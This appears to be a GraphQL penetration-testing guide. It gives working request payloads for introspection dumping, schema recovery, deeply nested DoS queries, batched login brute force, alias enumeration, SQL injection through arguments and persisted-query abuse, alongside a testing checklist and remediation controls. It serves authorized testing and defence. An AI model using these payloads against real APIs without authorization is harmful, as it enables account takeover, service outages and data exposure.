8 min read

API Security
Advanced
API4 API8

GraphQL Pentesting

GraphQL APIs offer flexibility but introduce unique attack vectors like introspection abuse, nested query DoS, and batching attacks.

Authorization boundary

GraphQL lets one request do the work of a thousand: a depth or alias probe can exhaust a shared database, and a batch can brute force an account. Agree a cost ceiling with the client, use one test account, and stop the nested-query probes as soon as latency climbs.

Where the attack catalogue lives

The full GraphQL technique set — introspection, batching, DoS, injection, authorization bypass, and the defence implementation (depth limits, cost analysis, persisted-query allowlists) — is in Web Pentest 06v — GraphQL Security. This page is the API-engagement view: what to enumerate, and the two abuse paths that need a client, not a browser.

GraphQL Enumeration Path

The diagram is wider than this screen — swipe it sideways to read the labels.

Everything after that point is cheap to try, and the six techniques are easy to confuse with one another. Each row below names the request that demonstrates it and the observation that separates a finding from a slow endpoint.

Technique What you send What proves it worked
Nested query DoS One cycle walked repeatedly — user → posts → comments → author — six or seven levels deep, with the same fragment repeated at every level. Latency and response size rise with each added level, while a depth-2 control query against the same endpoint stays flat.
Batching brute force An array of login mutations in a single HTTP request, one password per element. Several distinct responses come back from one request, so the per-request rate limit never sees the attempt count.
Alias overloading The same field repeated under different aliases — user1: user(id: 1), user2: user(id: 2), and so on. Hundreds of resolver calls from one operation; given a set of valid object IDs it enumerates every object the caller can reach.
Injection via arguments A backend payload in an argument value, for example user(id: "1' OR 1=1--"). Data the resolver should not have returned, or an error that names the query the backend built.
Authorization bypass BOLA/BFLA Another tenant's object ID, or a mutation your role should not have, replayed inside an otherwise valid query. The server returns the object or performs the mutation with no ownership or role error.
Persisted query abuse An APQ request carrying a hash the server has never seen, then the query body that registers it under that hash. The hash executes afterwards. The stored query is attacker-authored, so an allowlist that only checks the hash is bypassed.

Introspection & Enumeration

Introspection allows you to query the API for its schema. One request answers all of it: types, the query root and the mutation root with their arguments. A GraphQL server that answers this has handed you the whole map.

Introspection query over HTTP
POST /graphql
Content-Type: application/json

{
  "query": "{ __schema { types { name kind } queryType { fields { name description args { name type { name kind } } } } mutationType { fields { name description args { name type { name kind } } } } } }"
}

Pretty-printed, that is the same single document:

Full introspection query
{
  __schema {
    types { name kind }
    queryType {
      fields {
        name
        description
        args { name type { name kind } }
      }
    }
    mutationType {
      fields {
        name
        description
        args { name type { name kind } }
      }
    }
  }
}

Use gq or InQL when you want the schema persisted and diffed between environments:

gq — one-shot introspection
gq https://api.target.com/graphql --introspect

When introspection is off

GraphQL still leaks schema through field suggestions. Intentionally misspell a field — the server often suggests the correct name:

Field-name suggestion error
# Send a query with a typo:
{ usr { id } }

# Server responds with:
# "Did you mean 'user'?"
# This confirms 'user' is a valid type!
clairvoyance — schema recovery
# Install clairvoyance
pip3 install clairvoyance

# Reconstruct schema without introspection
python3 -m clairvoyance https://api.target.com/graphql -o schema.json

# With authentication header
python3 -m clairvoyance https://api.target.com/graphql \
  -H 'Authorization: Bearer TOKEN' \
  -o schema.json

GraphQL Specific Attacks

Nested query DoS

Send deeply nested queries to exhaust server resources (Circular Queries).

Deep recursion query
query {
  user(id: 1) {
    posts {
      comments {
        author {
          posts {
            comments {
              author {
                # ... repeat ...
              }
            }
          }
        }
      }
    }
  }
}

Batching attacks

Send multiple queries in a single request to bypass rate limits or brute force credentials. This is the API-specific abuse path: the client controls the batch size, so a per-request limit does not bound the per-batch attempt count.

Batched login mutations
[
  { "query": "query { login(u: \"admin\", p: \"123456\") { token } }" },
  { "query": "query { login(u: \"admin\", p: \"password\") { token } }" },
  { "query": "query { login(u: \"admin\", p: \"12345678\") { token } }" }
]

Alias overloading

Request the same field multiple times with aliases to cause resource exhaustion — or to turn one request into an enumeration of every object you can reach.

Aliased lookups in one request
query {
  user1: user(id: 1) { email }
  user2: user(id: 2) { email }
  user3: user(id: 3) { email }
}

Injection

SQL or NoSQL injection can occur within GraphQL arguments.

Injection through an argument
query {
  user(id: "1' OR 1=1--") {
    username
  }
}

Persisted Query Abuse

Automatic Persisted Queries (APQ) cache queries by hash. If the server accepts arbitrary hashes and executes them, an attacker can register malicious queries that bypass allow-listing.

Persisted-query caching
# Step 1: Send a query hash without the query body
POST /graphql
{
  "extensions": {
    "persistedQuery": {
      "version": 1,
      "sha256Hash": "ATTACKER_CONTROLLED_HASH"
    }
  }
}

# Step 2: If server responds "PersistedQueryNotFound", send with query body
# Server caches it — now the hash maps to your malicious query

GraphQL security audit tool

Use graphql-cop for a quick automated audit: it checks introspection, batching, field suggestions, persisted queries, and DoS vectors in one command: graphql-cop -t https://api.target.com/graphql

Evidence Collection

For a GraphQL finding, capture:

The operation: The complete query or mutation text with its variables, and the response body including the errors array — reduced to the smallest operation that still demonstrates the issue.

How the schema was obtained: Introspection, field suggestions, a client bundle or clairvoyance — with the exact request that returned it, because the finding differs for each.

Cost, measured: For depth, alias or batching abuse: query depth, alias count, elapsed time and response size next to a truncated control query on the same endpoint.

False Positive Identification

  • Introspection on a development host: Staging and local endpoints serving introspection is expected. Confirm the host, certificate and path are the production surface before writing it up.
  • A suggestion is not a disclosure: A "Did you mean" error confirms a field exists and returns no data. It is a finding only when the suggested field can then be queried for values the caller should not see.

Testing Checklist

Enumeration

  • ☐ Run the full introspection query; if it is blocked, reconstruct the schema from field suggestions, and check whether the playground and schema are served on the production host.

Abuse paths

  • ☐ Measure alias batching and deep nesting against a control query, one increment at a time.
  • ☐ Replay every resolver object reference with a second account, and test a batch of login mutations as one HTTP request.
  • ☐ Send an unregistered persisted-query hash, then register a malicious operation and replay the hash.

Remediation & Defense

GraphQL defences are four controls on one endpoint, and every one of them has to be enforced by the server — a query sent with curl never sees your client-side checks.

Bound the query before it runs

  • • Depth limiting alone is not enough for aliases: add cost analysis weighted by field and relation, a maximum alias count per operation, and a resolver time budget. Reject at parse time rather than cancelling mid-execution.

Allowlist queries in production

  • • Persisted queries only help when the hash is looked up in a server-side allowlist and unregistered hashes are refused. If a client can register an unknown hash, APQ is a bypass, not a control.

Authorize every field and node

  • • One endpoint, many resolvers: each resolver returning an object needs the object-level check a REST handler would have, and every mutation needs a role check of its own.

Limit batching and suggestion leakage

  • • Cap operations per HTTP request with per-operation cost accounting, turn off field suggestions in production, and disable introspection outside development. Together they remove the cheap paths.

GraphQL Security Practice

Exploit introspection, batching, and injection vulnerabilities in GraphQL APIs.

PortSwigger — GraphQL Labs PortSwigger medium
Introspection dumpAlias-based brute forceInjections via arguments
DVGA — Damn Vulnerable GraphQL Application Custom Lab medium
Nested query DoSBatching attacksField suggestion enumeration